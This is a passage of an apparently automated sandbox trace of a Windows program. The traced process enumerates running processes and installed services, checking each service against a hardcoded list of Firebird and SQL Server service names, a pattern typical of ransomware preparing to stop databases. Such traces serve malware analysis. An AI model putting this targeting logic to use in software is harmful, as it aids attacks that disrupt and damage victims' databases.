cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.293] lstrlenW (lpString="svchost.exe") returned 11 [0166.293] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0166.293] lstrlenW (lpString="explorer.exe") returned 12 [0166.293] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0166.294] lstrlenW (lpString="dwm.exe") returned 7 [0166.294] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.294] lstrlenW (lpString="svchost.exe") returned 11 [0166.294] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0166.294] lstrlenW (lpString="n.exe") returned 5 [0166.294] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0166.295] lstrlenW (lpString="spoolsv.exe") returned 11 [0166.295] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.295] lstrlenW (lpString="svchost.exe") returned 11 [0166.295] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.295] lstrlenW (lpString="taskhost.exe") returned 12 [0166.295] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0166.296] lstrlenW (lpString="reader_sl.exe") returned 13 [0166.296] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0166.296] lstrlenW (lpString="n.exe") returned 5 [0166.296] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0166.296] lstrlenW (lpString="n.exe") returned 5 [0166.296] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0166.297] CloseHandle (hObject=0x2c4) returned 1 [0166.297] Sleep (dwMilliseconds=0x1f4) [0167.015] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42f9820 [0167.015] EnumServicesStatusExW (in: hSCManager=0x42f9820, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0167.016] GetLastError () returned 0xea [0167.016] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x42de628 [0167.016] EnumServicesStatusExW (in: hSCManager=0x42f9820, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42de628, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42de628, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0167.017] CloseServiceHandle (hSCObject=0x42f9820) returned 1 [0167.017] lstrlenW (lpString="Appinfo") returned 7 [0167.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0167.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0167.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0167.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0167.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0167.017] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0167.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.017] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0167.017] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0167.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0167.017] lstrlenW (lpString="AudioSrv") returned 8 [0167.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0167.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0167.017] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0167.017] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0167.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0167.018] lstrlenW (lpString="BFE") returned 3 [0167.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0167.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0167.018] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0167.018] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0167.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0167.018] lstrlenW (lpString="CryptSvc") returned 8 [0167.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0167.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0167.018] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0167.018] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0167.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0167.018] lstrlenW (lpString="CscService") returned 10 [0167.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0167.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0167.018] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0167.018] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0167.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0167.018] lstrlenW (lpString="DcomLaunch") returned 10 [0167.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.018] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0167.018] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0167.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0167.018] lstrlenW (lpString="Dhcp") returned 4 [0167.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0167.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0167.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0167.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0167.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0167.018] lstrlenW (lpString="Dnscache") returned 8 [0167.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0167.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0167.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0167.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0167.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0167.019] lstrlenW (lpString="DPS") returned 3 [0167.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0167.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0167.019] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0167.019] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0167.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0167.019] lstrlenW (lpString="eventlog") returned 8 [0167.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0167.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0167.019] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0167.019] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0167.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0167.019] lstrlenW (lpString="EventSystem") returned 11 [0167.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0167.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0167.019] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0167.019] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0167.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0167.019] lstrlenW (lpString="gpsvc") returned 5 [0167.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0167.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0167.019] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0167.019] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0167.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0167.020] lstrlenW (lpString="iphlpsvc") returned 8 [0167.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.020] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0167.020] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0167.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0167.020] lstrlenW (lpString="LanmanServer") returned 12 [0167.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0167.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0167.020] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0167.020] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0167.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0167.020] lstrlenW (lpString="LanmanWorkstation") returned 17 [0167.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.020] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0167.020] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0167.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0167.020] lstrlenW (lpString="lmhosts") returned 7 [0167.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0167.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0167.020] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0167.020] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0167.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0167.020] lstrlenW (lpString="MMCSS") returned 5 [0167.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0167.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0167.020] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0167.021] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0167.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0167.021] lstrlenW (lpString="MpsSvc") returned 6 [0167.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0167.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0167.021] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0167.021] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0167.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0167.021] lstrlenW (lpString="Netman") returned 6 [0167.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0167.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0167.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0167.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0167.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0167.021] lstrlenW (lpString="netprofm") returned 8 [0167.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0167.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0167.021] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0167.021] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0167.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0167.021] lstrlenW (lpString="NlaSvc") returned 6 [0167.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0167.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0167.021] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0167.021] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0167.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0167.021] lstrlenW (lpString="nsi") returned 3 [0167.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0167.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0167.021] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0167.021] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0167.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0167.022] lstrlenW (lpString="PcaSvc") returned 6 [0167.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0167.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0167.022] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0167.022] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0167.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0167.022] lstrlenW (lpString="PlugPlay") returned 8 [0167.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0167.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0167.022] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0167.022] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0167.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0167.022] lstrlenW (lpString="Power") returned 5 [0167.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0167.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0167.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0167.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0167.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0167.022] lstrlenW (lpString="ProfSvc") returned 7 [0167.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0167.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0167.022] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0167.022] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0167.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0167.022] lstrlenW (lpString="RpcEptMapper") returned 12 [0167.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.022] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0167.022] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0167.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0167.022] lstrlenW (lpString="RpcSs") returned 5 [0167.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0167.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0167.023] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0167.023] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0167.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0167.023] lstrlenW (lpString="SamSs") returned 5 [0167.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0167.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0167.023] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0167.023] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0167.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0167.023] lstrlenW (lpString="Schedule") returned 8 [0167.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0167.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0167.023] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0167.023] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0167.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0167.023] lstrlenW (lpString="SENS") returned 4 [0167.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0167.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0167.023] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0167.023] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0167.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0167.023] lstrlenW (lpString="ShellHWDetection") returned 16 [0167.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.023] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0167.023] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0167.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0167.024] lstrlenW (lpString="Spooler") returned 7 [0167.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0167.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0167.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0167.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0167.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0167.024] lstrlenW (lpString="SysMain") returned 7 [0167.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0167.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0167.024] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0167.024] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0167.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0167.024] lstrlenW (lpString="Themes") returned 6 [0167.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0167.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0167.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0167.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0167.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0167.024] lstrlenW (lpString="TrkWks") returned 6 [0167.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0167.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0167.024] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0167.024] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0167.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0167.024] lstrlenW (lpString="UxSms") returned 5 [0167.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0167.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0167.024] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0167.025] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0167.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0167.025] lstrlenW (lpString="WdiServiceHost") returned 14 [0167.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0167.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0167.025] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0167.025] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0167.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0167.025] lstrlenW (lpString="WdiSystemHost") returned 13 [0167.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0167.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0167.025] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0167.025] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0167.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0167.025] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0167.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0167.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0167.025] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0167.025] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0167.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0167.025] lstrlenW (lpString="Winmgmt") returned 7 [0167.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0167.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0167.025] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0167.025] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0167.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0167.025] lstrlenW (lpString="WPDBusEnum") returned 10 [0167.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0167.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0167.025] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0167.026] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0167.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0167.026] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x42de628 | out: hHeap=0x630000) returned 1 [0167.026] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2dc [0167.027] Process32FirstW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.028] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, 